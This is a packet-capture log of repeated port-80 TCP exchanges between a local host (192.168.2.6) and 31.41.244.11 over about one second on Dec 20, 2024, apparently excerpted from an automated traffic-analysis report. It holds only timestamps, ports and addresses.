Dec 20, 2024 21:13:36.801223993 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.801248074 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.801285028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.802604914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.802651882 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.802679062 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.802721024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.804124117 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.804182053 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.804231882 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.804363966 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.805567026 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.805613041 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.805625916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.805666924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.807063103 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.807104111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.807174921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.807272911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.808518887 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.808562994 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.808717966 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.808764935 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.809997082 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.810051918 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.810077906 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.810113907 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.811507940 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.811552048 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.811724901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.811836004 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.813020945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.813072920 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.813118935 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.813160896 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.814405918 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.814449072 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.814513922 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.814553022 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.815973043 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.816025019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.816159964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.816596031 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.817353964 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.817409992 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.817451954 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.817492962 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.818840981 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.818893909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.818949938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.818989992 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.820354939 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.820414066 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.820486069 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.820570946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.821873903 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.821924925 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.822005987 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.822278976 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.823394060 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.823451996 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.823466063 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.823507071 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.824770927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.824820995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.824882984 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.824935913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.826253891 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.826307058 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.826340914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.826445103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.827724934 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.827795029 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.827851057 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.827922106 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.829202890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.829253912 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.829288960 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.829334021 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.830688953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.830751896 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.830843925 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.830930948 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.832289934 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.832340002 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.832400084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.832473993 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.833616018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.833667040 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.833695889 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.833741903 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.949675083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.949733019 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.949889898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.949935913 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.950293064 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.950349092 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.950525999 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.950575113 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.951339006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.951380014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.951433897 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.951483965 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.952779055 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.952826023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.952897072 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.952936888 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.954003096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.954049110 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.954142094 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.954246044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.955352068 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.955393076 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.955477953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.955518961 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.956614971 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.956660032 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.956724882 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.956760883 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.958009005 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.958060980 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.958122015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.958159924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.959254980 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.959300995 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.959372044 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.959464073 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.960520983 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.960572004 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.960726976 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.960773945 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.961834908 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.961879015 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.961918116 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.961956024 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.963304996 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.963352919 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.963493109 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.963552952 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.964452982 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.964497089 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.964523077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.964560032 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.965694904 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.965903044 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.965945005 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.965982914 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.966988087 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.967034101 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.967154980 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.967192888 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.968333006 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.968374968 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.968434095 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.968471050 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.969588041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.969626904 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.969743013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.969791889 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.971061945 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.971106052 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.971118927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.971160889 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.972371101 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.972418070 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.972570896 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.972609997 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.973496914 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.973560095 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.973613024 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.973656893 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.974773884 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.974826097 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.974870920 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.974909067 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.976097107 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.976160049 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.976181984 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.976221085 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.977376938 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.977418900 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.977454901 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.977493048 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.978616953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.978662014 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.978713989 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.978751898 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.979935884 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.979979038 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.980005026 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.980146885 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.981197119 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.981250048 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.981309891 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.981380939 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.982495070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.982543945 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.982584953 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.982625008 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.983819962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.983870029 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.983910084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.983947039 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.985102892 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.985184908 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.985225916 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.985264063 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.986424923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.986470938 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.986532927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.986592054 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.987689018 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.987728119 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.987740993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.987780094 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.988976002 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.989022017 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.989063025 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.989099026 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.990350962 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.990458012 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.990469933 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.990499973 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.991599083 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.991677999 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.991720915 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.992897034 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.992943048 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.992952108 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.992991924 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.994209051 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.994256020 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.994257927 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.994299889 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.995541096 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.995605946 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.995636940 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.995682955 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.996742010 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.996782064 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.996870041 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.996911049 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.998013020 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.998054028 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.998095989 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.998136997 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.999336004 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.999386072 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:36.999427080 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:36.999468088 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.000597000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.000646114 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.000705957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.000750065 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.001905918 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.001954079 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.002012968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.002194881 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.003206968 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.003247023 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.003345013 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.003429890 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.004515886 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.004578114 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.004715919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.004820108 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.005826950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.005909920 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.005963087 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.007085085 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.007153034 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.007260084 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.007308006 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.008383036 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.008443117 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.008460045 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.008507967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.009684086 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.009728909 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.009794950 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.009835958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.010984898 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.011043072 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.011109114 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.011349916 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.012259960 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.012311935 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.012362957 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.012406111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.013533115 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.013598919 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.013607025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.013643980 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.014836073 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.014925003 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.014985085 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.015146971 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.016115904 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.016166925 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.016207933 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.016418934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.017394066 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.017601967 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.141877890 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.141932011 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.142051935 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.142105103 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.142427921 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.142478943 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.142582893 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.142625093 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.143686056 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.143748999 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.143785000 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.143866062 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.144917965 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.144963980 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.145101070 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.145138025 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.146089077 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.146141052 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.146210909 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.146248102 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.147305012 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.147349119 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.147419930 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.147651911 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.148396015 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.148437977 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.148519039 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.148883104 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.149591923 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.149645090 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.149714947 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.150052071 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.150830030 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.150881052 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.150896072 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:37.150932074 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:37.152055979 CET	80	49920	31.41.244.11	192.168.2.6
